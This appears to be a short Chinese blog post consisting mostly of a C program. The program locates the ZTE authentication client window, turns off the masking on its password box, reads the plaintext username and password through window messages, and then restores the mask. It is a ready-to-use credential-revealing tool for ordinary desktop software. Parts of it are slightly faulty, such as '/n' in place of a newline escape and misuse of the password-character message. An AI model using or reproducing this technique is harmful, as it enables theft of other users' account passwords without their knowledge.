无聊写的。 关键是PostMessage(...)函数。 #include <windows.h> #include <stdio.h> int main() { HWND hWnd=FindWindow(NULL,"中兴认证客户端"); if(NULL==hWnd)hWnd=FindWindow(NULL,"ZTE中兴认证客户端"); if(NULL==hWnd) printf("Not Find!/n"); else { char UName[16]; char PWord[9]; char Char='*'; HWND PWhWnd; HWND UsehWnd; UsehWnd=FindWindowEx(hWnd,NULL,NULL,NULL);//第一个子窗口就是用户名。 SendMessage(UsehWnd,WM_GETTEXT,16,(LPARAM)UName); PWhWnd=FindWindowEx(hWnd,UsehWnd,NULL,NULL); SendMessage (PWhWnd,EM_GETPASSWORDCHAR,1,Char);//获取密码字符 PostMessage (PWhWnd,EM_SETPASSWORDCHAR,0,0);//取消密码字符 Sleep (60); SendMessage (PWhWnd,WM_GETTEXT,9,(LPARAM)PWord);//获取真实密码 PostMessage (PWhWnd,EM_SETPASSWORDCHAR,Char,0);//还原密码字符 printf("用户名的句柄:%x/n",UsehWnd); printf("密码的句柄:%x/n",PWhWnd); printf("UserName:/t/t%s/n",UName); printf("Password:/t/t%s/n",PWord); } //getch(); return 0; }